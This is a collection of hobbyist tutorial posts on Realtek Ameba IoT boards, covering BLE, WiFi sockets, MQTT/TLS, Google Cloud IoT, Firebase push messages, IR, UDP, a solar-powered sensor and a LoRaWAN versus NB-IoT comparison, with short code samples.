connected device, highlighted in blue. With the client connected to the service, the battery client begins to read data using both regular data reads and notifications, highlighted in green. Code Reference BLEClient is used to create a client object to discover services and characteristics on the connected device. setNotifyCallback() is used to register a function that will be called when a battery level notification is received. BLE.configClient() is used to configure the Bluetooth stack for client operation. addClient(connID) creates a new BLEClient object that corresponds to the connected device. For more resources: If you need additional technical documents or the source code for this project. Please visit the official websites and join the Facebook group and forum. Ameba Official Website: https://www.amebaiot.com/en/ Ameba Facebook Group: https://www.facebook.com/groups/amebaioten Ameba Forum: https://forum.amebaiot.com/

1. Ecosystem LoRaWAN is supported by the LoRa Alliance, an open non-profit association composed of more than 500 members. Its members work closely together and share experiences, promote and promote the success of the LoRaWAN protocol, and become the leading and open global standard for secure, carrier-grade Internet of Things LPWAN connections. NB-IoT is supported by two telecommunications standards associations, 3GPP and GSMA, both of which have the same goal of promoting the interests of mobile networks and equipment. 2. Spectrum LoRaWAN is optimized for ultra-low power consumption and remote applications. Therefore, network operators and equipment manufacturers can access the networks running on the license-free ISM Sub-1GHz spectrum for free. NB-IoT uses a cellular spectrum network, which is optimized for spectrum efficiency. The licensing fee for frequency band usage is very high, and it is limited to a few operators. 3. Deployment status According to the LoRa Alliance, 83 public network operators in 49 countries are currently using LoRaWAN, and more private companies are also using LoRaWAN networks. GSMA is an organization representing the interests of NB-IoT, LTE and other mobile networks. According to it, 40 countries will launch NB-IoT networks in the future. 4. Deployment options LoRaWAN network provides highly flexible deployment. It can be installed in a public, private, or mixed network, indoor or outdoor. LoRaWAN signals can penetrate into urban infrastructure, and each gateway can cover 30 miles (approximately 48.3 kilometers) in an open rural environment. NB-IoT uses LTE cellular infrastructure, which is an outdoor public network and requires the deployment of 4G/LTE cellular towers. If the sensor exceeds the coverage area of the base station, the base station is not easy to move. 5. Protocol The LoRaWAN protocol sends data asynchronously, and the data is sent only when needed. This can extend the battery life of the sensor device up to 10 years, and the battery replacement cost is low. NB-IoT needs to maintain a synchronous connection to the cellular network, regardless of whether it needs to send data. For sensor devices, it consumes a long battery life, resulting in high battery replacement costs, which may be too costly in many applications. 6. Emission current LoRaWAN provides 18 mA emission current at 10 dBm, and 84 mA emission current at 20 dBm. Modulation differences can enable LoRaWAN to support very low-cost batteries, including button batteries.  The NB-IoT sensor consumes ~220 mA at 23 dBm and 100 mA at 13 dBm, which means that it needs more power to operate and requires more frequent battery replacement or a larger capacity battery. 7. Receive current LoRaWAN provides lower sensor BOM cost and battery life for remote sensors. The receiving current is about 5 mA, and the overall power consumption is reduced by 3-5 times.  The NB-IoT receiving current is about ~40 mA. The communication between the cellular network and the device consumes more than 110 mA on average, and a communication lasts for tens of seconds. The protocol overhead has a significant impact on the battery life of devices that need to work for 3, 5, or 10 years or more. 8. Data rate LoRaWAN data rate is about 293 bps-50 kbps. The LoRaWAN protocol dynamically adjusts the data rate according to the distance between the sensor and the gateway, thereby optimizing the air time of the signal and reducing conflicts. The peak data rate of NB-IoT is about 250 kbps, which is more suitable for use cases with higher power budget and higher data rate (above 50 kbps). 9. Link budget LoRaWAN's MCL signal varies according to regional regulatory restrictions. The link budget is between 155 dB and 170 dB.  NB-IoT needs to repeat remote sensors at a low bit rate in order to be able to support remote sensors. The link budget is up to 164 dB. 10. Mobility LoRaWAN can support mobile sensors to track the movement of assets from one place to another. Even without GPS, high enough accuracy can be obtained for many applications.

Microcontrollers are known for its low power usage and limited resources thus often deemed unable to understand Python script as Python need interpretor to translate script into machine langauge and intepretor are usaully quite resource-consuming. However, MicroPython has arisen as a lean and efficiant Python 3 interpretor that can be run on ARM Cortex-M series microcontrollers. Ameba RTL8722 is an ARM Cortex-M33 microcontroller that has dual-band WiFi and BLE 5.0, other than that it is fully capable of running MicroPython and controls WiFi using Python script. In addition, its requirement for developing platform is also quite minimal-- only needs a serial port terminal like Tera term. Here is an example of RTL8722 controlling WiFi using just a few lines of Python code on Tera Term, from wireless import WLAN wifi = WLAN(mode = WLAN.STA) wifi.scan() Right after the last line, you will be able to see the result printed on the Tera term almost immediately, Hope this post give you some ideas of how easy it is to control microcontroller using MicroPython, stay tuned and happy coding!

BLE – Battery Client Nowadays a lot of DIY project use rechargable battery to make the product mobile and portable, but monitor the battery level can be quite troublesome, with RTL8722DM BLE and WiFi microcontroller from Realtek, we can retrieve battery information through BLE easily, here is how, Materials AmebaD [RTL8722 CSM/DM] x 2 Example Introduction BLE connections use a server client model. The server contains the data of interest, while the client connects to the server to read the data. Commonly, a Bluetooth peripheral device acts as a server, while a Bluetooth central device acts as a client. Servers can contain many services, with each service containing a some set of data. Clients can send requests to read or write some data and can also subscribe to notifications so that the server can send data updates to a client. In this example, a basic battery client is set up on the Ameba Bluetooth stack. The client connects to another Ameba board running the corresponding BLE battery service to read the battery level data. Procedure On the first Ameba board, upload the BLEBatteryService example code and let it run. For the second Ameba board, open the example “Files” -> “Examples” -> “AmebaBLE” -> “BLEBatteryClient”. Upload the code and press the reset button on Ameba once the upload is finished. Open the serial monitor and observe the log messages as the Ameba board with the battery client scans, connects, and reads data from the Ameba board with the battery service. Highlighted in yellow, the Ameba board with the battery client first scans for advertising BLE devices with the advertised device name “AMEBA_BLE_DEV” and the advertised service UUID of 0x180F representing the battery service. After finding the target device, the Ameba board with the battery client forms a BLE connection and searches for a battery service on the connected device, highlighted in blue. With the client connected to the service, the battery client begins to read data using both regular data reads and notifications, highlighted in green. Code Reference BLEClient is used to create a client object to discover services and characteristics on the connected device. setNotifyCallback() is used to register a function that will be called when a battery level notification is received. BLE.configClient() is used to configure the Bluetooth stack for client operation. addClient(connID) creates a new BLEClient object that corresponds to the connected device.

This is MicroPython project developed using Ameba RTL8722. MicroPython is offically supported on Ameba RTL8722, so through this demo video, we will see how easy and fast it is to develop a simple server socket on Ameba, which would then control other peripheral to perform other tasks. Here we are using a client socket code running on PC to send a 'Hello, world' string via the WiFi network, Ameba receives it and if it is indeed 'Hello, world' then it will blink the LED. Check out the demo video down below, https://youtu.be/pEMkwvw-r18 Code used: #!/usr/bin/env python3 #PC Client code import socket HOST = '192.168.1.152' # The server's hostname or IP address PORT = 80 # The port used by the server with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) s.send(bytes('Hello, world','utf8')) #Ameba Code from machine import Pin from wireless import WLAN import time import socket wifi = WLAN(WLAN.STA) wifi.connect("MPSSID","upyameba") led = Pin("PB_4",Pin.OUT) s = socket.SOCK() port = 80 data = ' ' s.bind(port) s.listen() conn, addr = s.accept() while True: data = conn.recv(1024) print(data) if data == b'Hello, world': print('turn on LED 1') for i in range(6): led.toggle() time.sleep_ms(200) if not data: break

Bluetooth Low Energy is energy conversing wireless procotol that help IoT microcontroller to save a great deal of power as compared to using WiFi. Here we use Realtek's RTL8722 dual-band WiFi and BLE 5.0 IoT microcontroller to demo how to output PWM signal to a RGB led over BLE UART Materials Ameba D [RTL8722 CSM/DM] x 1 RGB LED Android / iOS smartphone Example Introduction In this example, a smartphone app is used to transmit commands over BLE UART to control the PWM outputs and change the color of a RGB LED. Refer to the other example guides for detailed explanations of the BLE UART service. Procedure Connect the RGB LED to the RTL8722 board following the diagram, the common LED pin may need to connect to 3.3V or GND depending on the type of LED (common anode / common cathode). Ensure that the required app is installed on your smartphone, it is available at: – Google Play Store: https://play.google.com/store/apps/details?id=com.adafruit.bluefruit.le.connect – Apple App Store: https://apps.apple.com/us/app/bluefruit-connect/id830125974 Open the example, “Files” -> “Examples” -> “AmebaBLE” -> “PWM_over_BLEUart”. Upload the code and press the reset button on Ameba once the upload is finished. Open the app on your smartphone, scan and connect to the board shown as “AMEBA_BLE_DEV” and choose the controller -> color picker function in the app. Using the color selection wheel, saturation, and brightness sliders, choose a desired color and click select to send the RGB values to the board. You should see the RGB LED change to the matching color. Code Reference The RGB values are sent as three consecutive bytes prefixed by “!C” characters. The “!” exclamation mark is used to indicate that the following data is a command, and the “C” character is used to indicate that the data is RGB values. The received UART message is checked in the callback function for “!C” first, otherwise it is treated as a regular message and printed to the serial terminal.

MQTT is one of the most popular IoT network protocol thanks to its light-weight and Publish-subscribe model. However, some doubts the security of MQTT as it is usually unprotected to reduce overhead, this can be easily fixed with the use of TLS (Transport Layer Security), here we are using Realtek's RTL8722 dual-band WiFi and BLE5.0 microcontroller as example and see how it achieve security with MQTT, Preparation Ameba x 1 Example In this example, we connect Ameba to a MQTT broker using TLS authentication. Then send messages as a publisher and receive messages from as a subscriber. Open the MQTT example “File” -> “Examples” -> “AmebaMQTTClient” -> “MQTT_TLS” Please modify the WiFi-related parameters to connect to your WiFi network. Modify the MQTT parameters to fit your application: The “mqttServer” refers to the MQTT-Broker, we use the free MQTT sandbox “test.mosquitto.org” for testing. “clientId” is an identifier for MQTT-Broker to identify the connected device. “publishTopic” is the topic of the published message, we use “outTopic” in the example. The devices subscribe to “outTopic” will receive the message. “publishPayload” is the content to be published. “subscribeTopic” is to tell MQTT-broker which topic we want to subscribe to. Next, compile the code and upload it to Ameba. Press the reset button, then open the serial monitor After Ameba is connected to MQTT server, it sends the message “hello world” to “outTopic”. To see the message, use another MQTT client. Refer to the MQTT_Basic example guide on how to setup a PC-based MQTT client. If you wish to use TLS client authentication in addition to server authentication, you will need to generate an OpenSSL private key and obtain a signed certificate from the server. For testing purposes, signed certificates can be obtained from test.mosquitto.org by following the guide at https://test.mosquitto.org/ssl/. Replace the character strings “certificateBuff” and “privateKeyBuff” with your signed certificate and OpenSSL private key, ensuring that they are formatted the same way as the shown in the example code. Also uncomment the highlighted code to enable client authentication, and to change the MQTT port number.

There are a lot of online IoT platform out there, google is one of the first few platforms that provide free and easy-to-use IoT services to maker and developer, here is an example using Realtek' RTL8195 development board for Google IoT service, Google Cloud IOT Preparation Ameba x 1 Example This example illustrates how to use Cloud IoT Core on AMEBA. It doesn't need extra Library and use WiFiSSLClient and PubSubClient to connect. Before compiling to Ameba, we need to register and set up Google Cloud IoT Platform. Please refer to Standard SDK examples: https://www.amebaiot.com/google-cloud-iot/ Open the example “File” -> “Examples” -> “AmebaMQTTClient” -> “google_cloud”, we can get project_id, registry_id, device_id and private.pem.key if Google Cloud IoT Platform has been set up. In the example, fill in amebago-193913 for project_id, amebago-registry for registry_id and amebago-rs256-device for device_id as follows. Remember to fill in private.pem.key for privateKeyBuff. Compile and download to Ameba after updating these parameters. Then open the terminal, start to connect to Google Cloud and it shows ” This is Ameba's x message!!” when the connection is successful as follows. The "x" is the increment value for each loop. Verify: Key in with Google Cloud SDK Shell: $ gcloud beta pubsub subscriptions pull --auto-ack \ projects/amebago-193913/subscriptions/amebago-subscription The following are the messages sent by Ameba. Code Reference In setup(), we set up Certificate, which means setting RootCA and Private Key wifiClient.setRootCA((unsigned char*)rootCABuff); wifiClient.setClientCertificate(NULL, (unsigned char*)privateKeyBuff); In loop(), each loop checks the Internet status and re-connect to it when the environment has a problem. if (WiFi.status() != WL_CONNECTED) { while (WiFi.begin(ssid, pass) != WL_CONNECTED) { delay(1000); } Serial.println("Connected to wifi"); } It requires mqtt_id , clientPass and pub_topic to publish: produce mqtt_id: mqtt_id = (char *)malloc(strlen("projects/") + strlen(project_id) + strlen("/locations/us-central1/registries/") + strlen(registry_id) + strlen("/devices/") + strlen(device_id) + 1); sprintf(mqtt_id, "projects/%s/locations/us-central1/registries/%s/devices/%s", project_id, registry_id, device_id); produce clientPass(via JWT Format): clientPass = jwt_generator((unsigned char*)privateKeyBuff, project_id, 3600*1); produce pub_topic: pub_topic = (char *)malloc(strlen("/devices/") + strlen(device_id) + strlen("/events") + 1); sprintf(pub_topic, "/devices/%s/events", device_id); MQTT Server setting: client.setServer(GOOGLE_MQTT_SERVER, GOOGLE_MQTT_PORT); client.setPublishQos(MQTTQOS1); client.waitForAck(true); Start to connect to google cloud if (client.connect(mqtt_id, clientUser, clientPass) ) { ．．．．．．．．．． for(int i = 0; i < count; i++){ ．．．．．．．．．． sprintf(payload, "This is Ameba's %d message!!", i); ret = client.publish(pub_topic, payload); ．．．．．．．．．． 　} ．．．．．．．．．． client.disconnect(); } free(mqtt_id); free(pub_topic); Publish the payload with client.publish method. Remember to disconnect, free mqtt_id and pub_topic buffer。

As clean energe continue to attract huge attention due to the foreseeable demise of fossil fuel, harvesting clean energy , particularly solar energy, for embedded system make sense in many IOT applications for its low power consumption and sometime awkward placement, this example will guide you through how to harvest solar energy for an IOT project, Solar Panel – Upload Temperature And Humidity Data To LASS System Preparation Ameba x 1 DHT11 x 1 Solar Panel (1W) x 1 Lipo rider pro x 1 Li-Po battery (1100 mAh) x 1 DS3231 RTC x 1 AMS1117-3.3V x 1 (Optional) Solar Panel The solar panel we use is: http://www.seeedstudio.com/depot/1W-Solar-Panel-80X100-p-633.html The difference of the models with different power is the time it takes to charge the lithium battery. In general, solar panels with 1W power is sufficient for the weather in Taiwan. Lithium Battery In the night, we use lithium battery to provide power. Take the occasional cloudy days into account, we choose the lithium battery of size 1100mAh. Note that batteries with capacity smaller than 500mAh are not recommended. Lithium Charge-Discharge Module In the daytime, besides providing power to Ameba, we expect the solar panel to supply power to charge the lithium battery. On the other hand, if the solar panel cannot provide enough power, we rely on the lithium battery to supply power. Therefore, we need a Charge-Discharge Module for the lithium battery. Here we use Lipo Rider pro, it uses JST 2.0 joint. There are a number of alternatives: Lipo Rider: http://www.seeedstudio.com/depot/Lipo-Rider-v13-p-2403.html PowerBoost 500C: https://www.adafruit.com/product/1944 PowerBoost 1000C: https://www.adafruit.com/product/2465 DS3231 RTC We use DS1307RTC library supports DS1307/ DS1337/DS3231, here we use DS3231. AMS1117-3.3V The default output of Lipo Rider Pro is 5V, hence can be connected to Ameba directly. If you wish to provide only 3.3V to Ameba module to save power, you can use AMS1117 to step-down the voltage to 3.3V. Example In this example, we use solar panel to supply power for Ameba. When the power output of the solar panel exceeds the power demanded by Ameba, surplus power charges the lithium battery, which can supply power at night. Open the sample code in "File" -> "Examples" -> "AmebaMQTTClient" -> "lass_for_dht_plus_ps_nfc" Note that when you choose to supply power only to Ameba module, the 3.3V on Ameba board would be unavailable. For the modules that require 3.3V power, you need to step-down the voltage to 3.3V to supply power. If you do not want to use AMS1117, you can supply power to 5V directly (note this enables DAP and leads to additional power consumption). Another noteworthy point is that the antenna in the figure is cut down from Ameba, and is connected to Ameba through wires. To run the example, a few settings should be done: Please provide the ssid/password for WiFi connection. The clientId of LASS is set to FT_LIVE_12345678 by default, please replace it with a different value. Compile and upload the sample to Ameba and press reset button. Wait for a while, then you should see the data in the website: http://g0vairmap.3203.info/map.html The sample code uses the location of Realtek by default. For the NFC function, you can use your android phone to scan the NFC antenna to download the NFC APP from google play. (Or you can download from: https://play.google.com/store/apps/details?id=com.realtek.sensortag) After the APP is installed successfully, use your phone to scan the Tag to read the latest temperature and humidity. Press the button at the bottom to get the temperature and humidity information of the day. Energy consumption analysis The power efficiency of the solar panel The measure of brightness here is Illuminance(LUX), light with different wave length have different illuminance. We use Halogen bulbs to simulate sun light. In Taiwan, in the time between 10am to 2pm, the measured illuminance is about 100 LUX on average. At 4pm, the measured illuminance is about 10 LUX on average. Using 100W Halogen bulb, we measure 10k LUX illuminance in distance 20cm, and 100k LUX in distance 5cm. However, the shorter the distance between light source and solar panel, the higher the temperature of the solar panel. As the temperature of solar panel increases, the power efficiency decreases. We keep the distance 20cm in our experiment here. When the illuminance is 100k LUX, the solar panel outputs 210mA current, with voltage 4.8V. 4.8V x 0.21 A = 1.008 W. When the illuminance is 10k LUX, the solar panel outputs only 40~60mA current Power consumption of NFC In this example, the NFC function is kept available when Ameba enters deepsleep. The power consumption of NFC is about 7mA, which is considerably high compared with deepsleep. Power consumption of RTC Normally, RTC uses battery to hold the time precision. However, when RTC is connected to Ameba, Ameba enables its I2C interface by default, which leads to additional 2mA power consumption. Total power consumption If you step-down power source to 3.3V and connect to Ameba module, the measured current in deepsleep is 12mA, and long-term average is 13mA. If you supply 5V power to Ameba, the measured current in deepsleep is 17mA, long-term average is 18mA. Besides NFC and RTC, voltage step-down module and LED light also consumes power. Not considering the power consumed by the battery charge-discharge module, assume that the solar panel provides 40mA current and the 1100mAh lithium battery has used up half of its capacity. Then we need 550mA / (210mA - 13mA) = 2.8 hours to fully charge the lithium battery. If the solar panel cannot provide sufficient current output to supply power for Ameba and the lithium battery, and the Ameba board relies on the lithium battery as power source. Then the battery can provide power for 550 mAh / 13mA = 42 hours. Code Reference The program is composed by previous examples. The execution flow is as follows: At the beginning, we setup watchdog and activate a GTimer to feed/kick watchdog every second, and if the total execution flow is not completed in 30 seconds, go into deepsleep. Note that we put the WiFi connection part in the rear of the flow. Since turning on WiFi consumes relatively more power, to design low-power project, it is recommended that put WiFi-unrelated parts at the beginning of the execution flow.

IR (Infrared) is often used in our remote controller to control TV, fans and light etc for its easy-to-use and affordibility. However, we can also use it for some other purposes like sending and receiving sensor data in a close range, and Realtek's Ameba RTL8722 equiped with dual band WiFi and BLE 5.0 also comes with special designed registers just for IR transmissions, here is demo, IR – Infra-Red Receiver And Emitter Preparation Ameba x 1 Grove - Infrared Receiver x 1 Grove - Infrared Emitter x 1 Principle Infra-red refers to the invisible light with wavelength 770nm~1mm. It is commonly used in our life, for example the remote control in our home. In general, the infra-red emitter and receiver specify the frequency used in transmission. There are some widely used frequency regulations such as NEC, Philips RC5, RC6, RCMM, Toshiba, Sharp, JVC, Sony SIRC,...etc. Among them, NEC uses 38KHz frequency and is commonly used in appliances. The demodulator in the IR receiver outputs 0V when it receives signals with specified frequency, otherwise it outputs 3.3V(or 5V). For the IR emitter, it needs to emit signal with specified frequency (generally PWM signal), since IR receiver would only respond to the specified frequency, The figure below shows a complete Infra-red signal emitted from the IR emitter: First it sends the start signal, which contains a start high and a start low. Start high is PWM signal with frequency 38KHz. Start low is digital signal output, usually we output 0V signal for start low. Then it sends the data a byte at a time. A byte is sent in the order from LSB (Least Significant Bit) to MSB (Most Significant Bit). A bit 1 is represented by a 560us-long PWM signal, and stop for 1.69 ms. A bit 0 is represented by a 560us-long PWM signal, and stop for 560 us. When the data transmission is finished, send a bit 1 as the stop bit. At the receiver side, through demodulation, the received PWM signals are converted to general digital input: And those signals other than PWM signals, are put at 3.3V (or 5V). Example: IR receiver For implementation, Ameba uses a GPIO Interrupt pin and hardware Timer 4. Open the example in "File" -> "Examples" -> "AmebaIRSendRecv" -> "recv" In this example, we use Grove Infrared Receiver, other infra-red receiver works similarly. In general, we will use 3 pins: VCC(connects to 3.3V), GND, RX. In the example, we connect RX to D3 (which has GPIO Interrupt function). Wiring diagram: RTL8710 Wiring diagram: Compile the code and upload to Ameba, then press reset. If you have NEC remote control in hand, you can test that whether the Ameba IR receiver works. Or you can follow next example to use another Ameba board to make an IR emitter yourself. Note that the received messages of the IR receiver will be shown on the serial monitor. Example: IR emitter A typical IR emitter has 2 pins. However, the Grove Infrared Emitter has 3 pins: VCC, GND and TX. In practice, we can only use GND and TX. To transmit 38KHz signal in real time, Ameba uses TX of UART to emit the signal. Hence, when we are using Ameba to emit IR signal, D0 pin (UART RX) would be unavailable. Following is the wiring diagram: However, since the TX of UART is usually on 3.3V, this leads to unnecessary power consumption. Therefore, we rearrange the wires to connect Ameba UART TX to the GND pin of Grove Infrared Emitter, and connect the signal wire of emitter to 3.3V: RTL8710 Wiring Diagram: In this case, when the emitter is not emitting signal, GND and TX are both at 3.3V, voltage difference is 0. Open the example "File" -> "Examples" -> "AmebaIRSendRecv" -> "send". Compile and upload to Ameba, and press reset. In this example, the IR emitter emits signal every 2 seconds. You can test it with the previous IR receiver example. Code Reference We refer to Grove infra-red Send Recv library to design our API. The original source code can be found here. Although the API of Ameba looks similar to that of Arduino, the implementation details is different. IR receiver First, we have to specify the pin used to receive data. Since it needs GPIO interrupt, we have to select a pin with GPIO interrupt function. We use D3 pin in the example. IR.Init(pinRecv) In the loop, we keep checking if there is incoming signal. IR.IsDta() When we receive signal, put the data into user buffer. IR.Recv(dta) The format of the buffer: Byte 0: Data length of whole packet. Byte 1: Length of start high, unit is 50us. Byte 2: Length of start low, unit is 50us. Byte 3: The stop length after the PWM signal when the data bit is 1, unit is 50us. Byte 4: The stop length after the PWM signal when the data bit is 0, unit is 50us. Byte 5...: Data. IR emitter Use Send() API to transmit data. The first argument is the data to be transmitted, and the second argument is the frequency(unit is 1K), in the example we use 38KHz. IR.Send(dtaSend, 38) The transmission format of the data: Byte 0: Data length of whole packet. Byte 1: Length of start high, unit is 50us. Byte 2: Length of start low, unit is 50us. Byte 3: The stop length after the PWM signal when the data bit is 1, unit is 50us. Byte 4: The stop length after the PWM signal when the data bit is 0, unit is 50us. Byte 5: Length of data to transmit. Byte 6...: Data to transmit.

MCU is often considered not powerful enough to communicate with smartphone, yet many projects actually works a lot better if MCU can communicate with smartphone in some way. RTL8722 WiFi+BLE microcontroller from Realtek can do just that with the help of Firebase Messaging Service, and here is how it is done, Use Firebase To Push Messaging Services Preparation Ameba x 1 Android Studio Smart phone with Google Play Service x 1 Example In the era of the popularity of smart phones, people often receive reminders from specific apps. In this example, we will teach how to use Google Firebase to send messages from the Ameba Client to mobile phones. First, we use Firebase Cloud Messaging (FCM) as a cross-platform messaging solution that lets you deliver messages for free and reliably. With FCM, you can notify your client application (App) to sync emails or other data. You can send a message to drive user engagement. For instant messaging content, a message can transfer up to 4KB of payload to the client application. The FCM implementation includes two main parts for sending and receiving: 1. A trusted environment, such as Cloud Functions for Firebase or an application server for building, locating, and sending messages. 2. Receive iOS, Android or Web (JavaScript) client applications for messages. You can use Admin SDK or HTTP&XMPP API to send messages.To test or send marketing or engagement messages with powerful built-in targeting and analytics, you can also useNotifications composer We know that Ameba can send messages to specific apps as long as it implements the http client function. First of all, we must first set up an environment for developing Android apps. Please download Android Studio first on Android official website. https://developer.android.com/studio/install Then we can use the Android example provided by Firebase to download Firebase Quickstart Samples. https://github.com/firebase/quickstart-android Open Android Studio and click on Import Project, select the messaging project in Firebase Quickstart Samples. Since we won't use other functions, we can only choose the messaging project. Android Studio will need to install the SDK and Google repository for the first time to start the messaging project. You can refer to the following page for update. https://developer.android.com/studio/intro/update Wait until the required components for compiling the app are installed, you can open the messaging project, and Android Studio comes with the Firebase registration function. As shown above, open the toolbar and click Tools->Select Firebase. Open Firebase Assisant in the right pane, then see Cloud Messaging, select Set up Firebase Cloud Messaging to start the registration process. Click Connect to Firebase Then bring out the page, and click on Firebase on the left and log in to the Gmail account. Once you log in, you will be taken to the Firebase homepage. Let's keep the homepage first, we need to go to the Firebase Console and go back to Android Studio. We can see that when the webpage is successfully logged in, Android Studio also brings up the login information dialog box, click connect to Firebase You can see Dependencies set up correctly in the right pane and see a google-service.json file in the left pane, indicating that the app has been registered successfully. At this point, you can connect your phone to your computer (press Shift+F10) or press the Runs App in the toolbar. Please note here that Firebase requires a mobile phone to provide Google play service (GPS) service. An example of not being able to use Firebase without installing Google Play. As shown above, the messaging app is installed and executed successfully on the phone. Click LOG TOKEN at this time. There will be a Token ID, which is the Access Token required to send the message, representing the ID of the FCM service APP installed on a particular phone. This ID is unique and will be reassigned when the app is removed and re-installed. It means that the message can be sent to a specific phone. The FCM service can also push messages to a NEWS (Topic). This section can be found in Firebase topic-messaging: https://firebase.google.com/docs/cloud-messaging/android/topic-messaging Therefore, we need to save this Access Token, return to Android Studio as shown below, select Debug at the log level of the Logcat. When you press the LOG TOKEN button on the App, Logcat will print out the Access Token ID. We will save the code after the InstanceID Token: in the Log message. Then we have to go back to the page that was brought when we first logged into Firebase. Click in the upper right corner to go to the console At this point, You can see that Android Studio has just built the messaging project for us in the operation. Click to enter the messaging project with settings page, as shown above. Select Set up Go to the Settings page and select the Cloud Messaging page. We will see the Legacy server key. This Server key also needs to be used in the program. Let's save it and start editing the code. Open the example "File" -> "Examples" -> "AmebaWiFi" -> "Firebase.ino" As shown above, ACCESS_TOKEN and SERVER_KEY are defined in the reverse white part, that is, the ACCESS token ID that we just saved from the APP and the Server Key saved in the Firebase console page. We fill in the two sets of IDs, compile and upload them to Ameba. Press the Reset button and open the terminal. Connect to FCM Server after connecting to AP After showing Connect to Server successful, it means that the FCM connection is successful and the message will be sent. During the process, HTTP/1.1 200 OK will be received to indicate that the message is successfully pushed. At this time, the mobile phone screen is opened and the App receives the message from Ameba. Code Reference Firebase.ino This example uses the HTTP protocol to push messages. Users can learn the payload format from the Firebase development website. https://firebase.google.com/docs/cloud-messaging/send-message The main payload format in the program is as follows. The user can freely change the Title and Body of the message. Body represents the content of the message. char const* payload = "{" \ "\"to\": \"" ACCESS_TOKEN "\"," \ "\"notification\": {" \ "\"body\": \"Hello World!\"," \ "\"title\" : \"From Realtek Ameba\" " \ "} }" ; setup() if (client.connect(server, 80)) { Serial.println("connected to server"); // Make a HTTP request: sprintf(message,"%s%s%s%s%s%d%s%s%s","POST /fcm/send HTTP/1.1\nContent-Type: application/json\nAuthorization: key=",SERVER_KEY,"\nHost: ",HOST_NAME,"\nContent-Length: ",strlen(payload),"\n\n",payload,"\n"); printf("\nRequest:\n%s \n",message); client.println(message); client.println(); } The sprintf part puts the payload into the HTTP POST content and sends the message out after connecting to the FCM Server. loop() while (client.available()) { char c = client.read(); Serial.write(c); } Waiting for the response from Server and printing out the response

Use Ameba As UDP Server When surfing on internet, most of us are using TCP as its reliable and secure, however, UDP could also shine in some other area where speed is more important than integrity, and here is how Realtek's Ameba RTL8722 WiFi+BLE microcontroller works with UDP, Preparation Ameba x 1 Example In this example, we connect Ameba to WiFi and use Ameba to be an UDP server. When Ameba receives a message from UDP client, it replies "acknowledged" message to client. Open the WiFi Web Server example. “File” -> “Examples” -> “AmebaWiFi” -> “WiFiUdpSendReceiveString” Modify related information, including ssid, pass, keyindex Compile the code and upload it to Ameba. After pressing the Reset button, Ameba connects to WiFi and starts the UDP server with port 2390. After the UDP server starts service, Ameba prints the "Starting connection to server" message and waits for client connection. As to the UDP client, we use "sockit" program in the computer to connect to UDP server. Choose client mode and fill in the IP of UDP server (which is the IP of Ameba) and port 2390, then click "UDP Connect". After the connection is established, fill in "Hello World" in the Buf 0 field in sockit and click "Send". Then you can see the Ameba UDP server replies "acknowledged". Code Reference Ameba uses the WiFiUdp class which is compatible with Arduino WiFi Shield, so the Refer to the Arduino tutorial for detailed information about this example. https://www.arduino.cc/en/Tutorial/WiFiSendReceiveUDPString First, use begin() to open an UDP port on Ameba. https://www.arduino.cc/en/Reference/WiFiUDPBegin Use parsePacket() to wait for data from client. https://www.arduino.cc/en/Reference/WiFiUDPParsePacket When a connection is established, use remoteIP() and remotePort() to get the IP and port of the client. https://www.arduino.cc/en/Reference/WiFiUDPRemoteIP https://www.arduino.cc/en/Reference/WiFiUDPRemoteIP Then use read() to read the data sent by client. https://www.arduino.cc/en/Reference/WiFiUDPRead To send reply, use beginPacket(), write(), end(). https://www.arduino.cc/en/Reference/WiFiUDPBeginPacket https://www.arduino.cc/en/Reference/WiFiUDPWrite https://www.arduino.cc/en/Reference/WiFiUDPEndPacket

E-ink display comes in very handy in cutting power consumption when not refreshing the screen, it becomes more power conserving when combined with ARM Cortex M33 microcontroller-- RTL8722 from Realtek. This microcontroller sports dual-band WiFI and BLE 5.0 withh max clock at 200MHz, which make it possible to parse long string of a URL and generate a QR code locally. In this demo, we will show how to generate QR code and display it on a E-ink display. https://youtu.be/KYI5WBmC6ac

The focus of this project is to demonstrates how easy it is for Ameba Wi-Fi Dev. board to communicate with our smart phone via MQTT protocol. Phone to microcontroller communication used to be very difficult as they use totally different hardware interface and phone get its data mainly through the network. Now with a Wi-Fi enabled microcontroller like Ameba RTL8195AM, communication with our phone becomes a bliss. Of course, in this video, only a mini window is used for demonstration purpose, but controlling a real window should not be a problem if you simply replace the servo motor with a bigger DC step motor and change the source code accordingly. With this smart curtain system, you may, 1. Remotely control your curtain to open or close instantaneously 2. Check your curtain status according to the MQTT message received 3. Link with the previous weather station project and automate your room from there GitHub page https://github.com/Realtek-AmebaApp/Ameba_Examples/tree/master/RTL8195AM/005_SMART_CURTAIN Official pages https://www.amebaiot.com.cn/en/ https://www.amebaiot.com/en/ Facebook pages https://www.facebook.com/groups/AmebaIoT/ BiliBili channel https://space.bilibili.com/45777743